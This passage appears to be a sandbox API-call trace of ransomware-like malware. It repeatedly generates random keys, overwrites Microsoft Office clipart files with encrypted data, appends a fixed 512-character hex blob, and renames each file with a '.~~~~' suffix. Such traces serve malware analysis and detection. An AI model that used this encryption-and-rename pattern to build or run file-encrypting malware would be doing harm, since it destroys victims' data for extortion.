	[0102.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0102.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0102.937] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22292703550) returned 1
	[0102.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa70b55d0, dwHighDateTime=0x1d60e1e)) 
	[0102.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0102.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0102.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0102.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28635c8
	[0102.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28635c8 | out: hHeap=0x300000) returned 1
	[0102.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866510
	[0102.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.938] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0102.938] GetLastError () returned 0x0
	[0102.938] GetLastError () returned 0x0
	[0102.938] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0102.938] GetLastError () returned 0x0
	[0102.938] GetLastError () returned 0x0
	[0103.012] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe18c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.012] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1e74, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x1e74, lpOverlapped=0x0) returned 1
	[0103.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0103.013] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.013] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.013] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.013] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.013] CloseHandle (hObject=0xc4) returned 1
	[0103.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.~~~~")) returned 1
	[0103.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0103.023] GetLastError () returned 0x0
	[0103.023] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0103.024] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.024] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0103.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0103.024] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22301462034) returned 1
	[0103.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa7173cb0, dwHighDateTime=0x1d60e1e)) 
	[0103.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0103.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0103.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0103.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28636a8
	[0103.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28636a8 | out: hHeap=0x300000) returned 1
	[0103.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866938
	[0103.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.025] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0103.025] GetLastError () returned 0x0
	[0103.026] GetLastError () returned 0x0
	[0103.026] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0103.026] GetLastError () returned 0x0
	[0103.026] GetLastError () returned 0x0
	[0103.033] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff7bc6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.033] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x843a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x843a, lpOverlapped=0x0) returned 1
	[0103.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0103.035] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.035] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.035] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.035] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.035] CloseHandle (hObject=0xc4) returned 1
	[0103.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.~~~~")) returned 1
	[0103.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0103.052] GetLastError () returned 0x0
	[0103.063] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0103.065] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.065] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0103.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0103.065] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22305498440) returned 1
	[0103.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa71e60d0, dwHighDateTime=0x1d60e1e)) 
	[0103.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0103.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0103.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0103.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863750
	[0103.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863750 | out: hHeap=0x300000) returned 1
	[0103.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866c30
	[0103.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.066] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0103.066] GetLastError () returned 0x0
	[0103.066] GetLastError () returned 0x0
	[0103.066] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0103.066] GetLastError () returned 0x0
	[0103.066] GetLastError () returned 0x0
	[0103.090] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffb8dc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.090] WriteFile (in: hFile=0xc4, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x4724, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x26dfec0*=0x4724, lpOverlapped=0x0) returned 1
	[0103.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0103.091] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.091] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.091] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.091] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.092] CloseHandle (hObject=0xc4) returned 1
	[0103.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.092] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.~~~~")) returned 1
	[0103.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0103.093] GetLastError () returned 0x0
	[0103.103] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0103.104] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.104] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0103.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0103.104] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22309418077) returned 1
	[0103.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa7232390, dwHighDateTime=0x1d60e1e)) 
	[0103.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0103.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0103.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0103.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28637f8
	[0103.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28637f8 | out: hHeap=0x300000) returned 1
	[0103.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0103.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866cc8
	[0103.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0103.105] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0103.105] GetLastError () returned 0x0
	[0103.105] GetLastError () returned 0x0
	[0103.105] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0103.105] GetLastError () returned 0x0
	[0103.105] GetLastError () returned 0x0
	[0103.111] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd790, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.111] WriteFile (in: hFile=0x144, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x2870, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x26dfec0*=0x2870, lpOverlapped=0x0) returned 1
	[0103.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0103.113] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.113] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.113] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.113] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.113] CloseHandle (hObject=0x144) returned 1
	[0103.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961f88
	[0103.114] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.~~~~")) returned 1
	[0103.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961f88 | out: hHeap=0x300000) returned 1
	[0103.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0103.115] GetLastError () returned 0x0
	[0103.116] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0103.118] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.118] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0103.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0103.118] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22310799150) returned 1
	[0103.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa72584f0, dwHighDateTime=0x1d60e1e)) 
	[0103.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0103.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0103.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0103.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863830
	[0103.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863830 | out: hHeap=0x300000) returned 1
	[0103.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961f88
	[0103.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866f28
	[0103.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961f88 | out: hHeap=0x300000) returned 1
	[0103.119] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0103.119] GetLastError () returned 0x0
	[0103.119] GetLastError () returned 0x0
	[0103.119] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0103.119] GetLastError () returned 0x0
	[0103.120] GetLastError () returned 0x0
	[0103.299] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe2b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.299] WriteFile (in: hFile=0x144, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x1d4c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x26dfec0*=0x1d4c, lpOverlapped=0x0) returned 1
	[0103.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0103.305] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.305] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.305] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.305] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.305] CloseHandle (hObject=0x144) returned 1
	[0103.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0103.393] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.~~~~")) returned 1
	[0103.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0103.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0103.762] GetLastError () returned 0x0
	[0103.765] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
